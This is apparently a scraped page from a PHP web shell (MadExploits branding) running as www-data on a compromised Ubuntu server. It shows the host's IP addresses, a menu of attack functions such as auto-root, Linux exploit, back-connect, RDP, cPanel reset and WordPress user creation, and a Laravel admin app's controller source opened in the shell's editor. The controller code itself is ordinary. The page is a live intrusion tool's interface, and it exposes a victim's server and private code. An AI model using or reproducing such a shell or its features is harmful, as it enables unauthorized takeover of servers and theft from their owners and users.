Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.2
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
sifaris /
app /
Http /
Controllers /
Admin /
[ HOME SHELL ]
Name
Size
Permission
Action
Spatie
[ DIR ]
drwxrwxr-x
AccessController.php
2.48
KB
-rw-rw-r--
AddressController.php
3.29
KB
-rw-rw-r--
AdminUserController.php
8.74
KB
-rw-rw-r--
AppUserController.php
8.02
KB
-rw-rw-r--
CategoryController.php
3.02
KB
-rw-rw-r--
DashboardController.php
8.02
KB
-rw-rw-r--
FiscalController.php
1.28
KB
-rw-rw-r--
GeneralController.php
682
B
-rw-rw-r--
LoginController.php
2.28
KB
-rw-rw-r--
OfficeController.php
1.35
KB
-rw-rw-r--
PriorityController.php
2.15
KB
-rw-rw-r--
ReportController.php
21.01
KB
-rw-rw-r--
SifarisFormController.php
1.43
KB
-rw-rw-r--
SifarisRecordController.php
26.6
KB
-rw-rw-r--
StatusController.php
2.25
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : AppUserController.php
<?php namespace App\Http\Controllers\Admin; use App\Http\Controllers\Controller; use App\Http\Requests\AppUserRequest; use App\Models\AdminUser; use App\Models\User; use App\Services\AppUserService; use Helper; use Illuminate\Contracts\View\View; use Illuminate\Http\Request; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\Hash; use Illuminate\Support\Facades\Redirect; use Illuminate\Support\Facades\Validator; use Throwable; class AppUserController extends Controller { private $helper; private $service; public function __construct(Helper $helper, AppUserService $service) { $this->helper = $helper; $this->service = $service; } /** * This method is used to get the list of undeleted users(both active and deactive) * * @param array $array - no paramenter * @param string $blah - none * @return view(users::users..users) */ public function getIndex(Request $request): View { $only = ['sort_by', 'page_size', 'sort_order', 'title', 'language_id', 'role_id']; $filter = $this->helper->getFilter($request, $only); $data = $this->service->list($filter); return view('admin.app_users.list', $data); } /** * This method is used to get the view part of the add user * * @param array $array - no paramenter * @param string * @return view(users::users..adduser) */ public function getAddUser() { return view('admin.app_users.adduser'); } /** * This method is used add the user * * @param array $array - no paramenter * @param string - none * @return json_message_string_array */ public function addUser(AppUserRequest $request) { try { $user_data = $request->only(['name', 'email', 'mobile_number', 'password', 'is_verified']); if ($request->has('is_verified')) $user_data['is_verified'] = 1; else $user_data['is_verified'] = 0; $user_data['password'] = Hash::make($user_data['password']); $user = $this->service->save($user_data); flash([ 'type' => 'success', 'message' => 'App user created successfully', ]); return Redirect::route('admin.app_users.list');; } catch (\Throwable $th) { flash([ 'type' => 'error', 'message' => $th->getMessage(), ]); return Redirect::back()->withInput(); } } /** * This method is used to edit a user * * @param AdminUser - $user * @return Illuminate\View\View */ public function getEditUser(User $user): View { return view('admin.app_users.edituser') ->with('model', $user); } /** * This method is used edit the user * * @param int $id * @return json_message_string_array */ public function updateUser(User $user, AppUserRequest $request) { try { $user_data = $request->only(['name', 'email', 'mobile_number', 'password', 'is_verified', 'verification_remarks', 'is_blocked', 'blocking_remarks']); if ($request->has('is_verified')) $user_data['is_verified'] = 1; else $user_data['is_verified'] = 0; if ($request->has('is_blocked')) $user_data['is_blocked'] = 1; else $user_data['is_blocked'] = 0; $this->service->update_WM($user_data, ['id' => $user->id], User::class); flash([ 'type' => 'success', 'message' => 'App user updated successfully', ]); return Redirect::route('admin.app_users.list');; } catch (\Throwable $th) { flash([ 'type' => 'error', 'message' => $th->getMessage(), ]); return Redirect::back()->withInput(); } } /* * delete action admin panel * @return JSON */ public function deleteUser(Request $request) { try { $this->service->delete(['id' => $request->id]); return jsonMsg('success', 'User deleted successfully'); } catch (Throwable $e) { return jsonMsg('error', $e->getMessage()); } } /* * search user * @return JSON */ public function search(Request $request) { try { $data = $this->service->list([ 'title' => $request->q, 'page_size' => 20 ]); $items = $data['records']->items(); return json_encode($items); } catch (Throwable $th) { return failureResponse($th->getMessage()); } } /* * project stauts change action admin panel * @return JSON */ public function changeStatus(Request $request) { $col = $request->col; $model = User::find($request->id); // return $model; switch ($col) { case 'is_verified': $model->fill([ 'is_verified' => !$model->is_verified, 'verified_by' => adminUserId(), 'verified_at' => now() ])->save(); $msg_name = 'Verification status updated successfully!'; break; case 'is_blocked': $model->fill([ 'is_blocked' => !$model->is_blocked, 'blocked_by' => adminUserId(), 'blocked_at' => now() ])->save(); $msg_name = 'Blocking status updated successfully!'; break; default: # code... break; } $icon = $model->$col == '1' ? '<i class="fas fa-check text-success"></i>' : '<i class="fas fa-times text-danger"></i>'; return jsonMsg('success', $msg_name, $icon); } public function getChangePassword() { return view('users.users.changepassword') ->with('user', Auth::User()); } /** * This method is used get the change passowrd of the user * * @param int $id * @return Redirect */ public function changeOwnPassword(Request $request) { $rules = [ 'new_password' => 'required', 'confirm_password' => 'required|same:new_password' ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) return Redirect::back()->withErrors($validator); $user = User::find(user()->id); $user->password = Hash::make($request->get('new_password')); $user->password_changed_on = now(); $user->save(); flash([ 'type' => 'success', 'message' => 'Password has been changed successfully.', ]); return Redirect::route('admin.app_users.list'); } /** * This method is used get the get change passowrd form of others by admin * * @param int $userid * @return View chagne passwor form */ public function getChangePasswordByAdmin($userid) { $user = User::findOrFail($userid); return view('users.users.changepassword') ->with('model', $user); } /** * This method is used get the change passowrd of the user * * @param int $id * @return Redirect */ public function changePassword($id, Request $request) { $rules = [ 'password' => 'required|min:8', 'confirm_password' => 'required|same:password' ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) return Redirect::back()->withErrors($validator); $user = User::find($id); $user->password = Hash::make($request->get('password')); $user->password_changed_on = now(); $user->save(); flash([ 'type' => 'success', 'message' => 'Password has been changed successfully.', ]); return Redirect::route('admin.users'); } }
Close